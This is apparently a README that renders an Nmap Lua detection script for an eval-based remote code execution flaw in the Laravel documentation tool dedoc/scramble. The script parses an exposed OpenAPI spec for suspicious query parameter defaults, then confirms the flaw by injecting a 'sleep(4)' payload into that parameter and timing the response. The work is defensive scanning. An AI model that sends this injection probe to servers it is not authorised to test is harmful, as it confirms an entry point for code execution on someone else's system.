README.md
Rendering markdown...
local http = require "http"
local json = require "json"
local shortport = require "shortport"
local stdnse = require "stdnse"
description = [[
Detects CVE-2026-44262 (GHSA-4rm2-28vj-fj39), a Remote Code Execution vulnerability
in dedoc/scramble >=0.13.2, <0.13.22 (Laravel API documentation generator).
Step 1: scans /docs/api.json for query parameters whose default values resemble
Laravel validation rules (e.g. "required|string") — the vulnerable controller pattern.
Step 2: sends a timing probe (sleep) to the discovered parameter to confirm
eval() fires. No destructive exploitation is performed.
References:
https://github.com/joshuavanderpoll/CVE-2026-44262
https://github.com/advisories/GHSA-4rm2-28vj-fj39
]]
---
-- @usage
-- nmap -p 80,443 --script http-scramble-rce-detect <target>
-- nmap -p 80,443 --script http-scramble-rce-detect --script-args http-scramble-rce-detect.path=/docs/api.json <target>
--
-- @args http-scramble-rce-detect.path Path to the OpenAPI JSON spec. Default: /docs/api.json
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-scramble-rce-detect:
-- | VULNERABLE (timing confirmed)
-- | param: 'sort' in /v1/products (default: required|string)
-- |_ delay: +4.1s
--
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-scramble-rce-detect:
-- |_ LIKELY VULNERABLE (pattern match only)
-- |_ param: 'sort' in /v1/products (default: required|string)
author = "Joshua van der Poll"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "vuln"}
portrule = shortport.http
-- Laravel validation rule keywords that would never appear as legit query param defaults
local RULE_KEYWORDS = {
"required", "nullable", "string", "integer",
"numeric", "boolean", "array", "min:", "max:", "in:",
}
local function looks_like_rule(default)
if default:find("|") then
return true
end
local lower = default:lower()
for _, kw in ipairs(RULE_KEYWORDS) do
if lower:sub(1, #kw) == kw then
return true
end
end
return false
end
action = function(host, port)
local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/docs/api.json"
local response = http.get(host, port, path)
if not response or response.status ~= 200 then
return nil
end
local body = response.body
if not body or not body:find('"paths"') then
return nil
end
local ok, data = json.parse(body)
if not ok or type(data) ~= "table" then
return nil
end
local paths = data["paths"]
if type(paths) ~= "table" then
return nil
end
local vuln_params = {}
local vuln_param_names = {}
for endpoint, methods in pairs(paths) do
for _, method_data in pairs(methods) do
local params = method_data["parameters"]
if type(params) == "table" then
for _, param in ipairs(params) do
if param["in"] == "query" then
local schema = param["schema"]
if type(schema) == "table" then
local default = tostring(schema["default"] or "")
if default ~= "" and looks_like_rule(default) then
table.insert(vuln_params,
string.format("'%s' in %s (default: %s)",
param["name"], endpoint, default))
table.insert(vuln_param_names, param["name"])
end
end
end
end
end
end
end
if #vuln_params == 0 then
return nil
end
-- timing probe — confirms eval() actually fires, not just pattern match
local sleep_secs = 4
local param_name = vuln_param_names[1]
local t0 = nmap.clock_ms()
http.get(host, port, path)
local baseline = nmap.clock_ms() - t0
local payload_path = path .. "?" .. param_name .. "=sleep(" .. sleep_secs .. ")"
local t1 = nmap.clock_ms()
http.get(host, port, payload_path)
local elapsed = nmap.clock_ms() - t1
local delay = elapsed - baseline
local confirmed = delay >= (sleep_secs * 750)
local lines = { confirmed and "VULNERABLE (timing confirmed)" or "LIKELY VULNERABLE (pattern match only)" }
for _, p in ipairs(vuln_params) do
lines[#lines + 1] = " param: " .. p
end
if confirmed then
lines[#lines + 1] = string.format(" delay: +%.1fs", delay / 1000)
end
return table.concat(lines, "\n")
end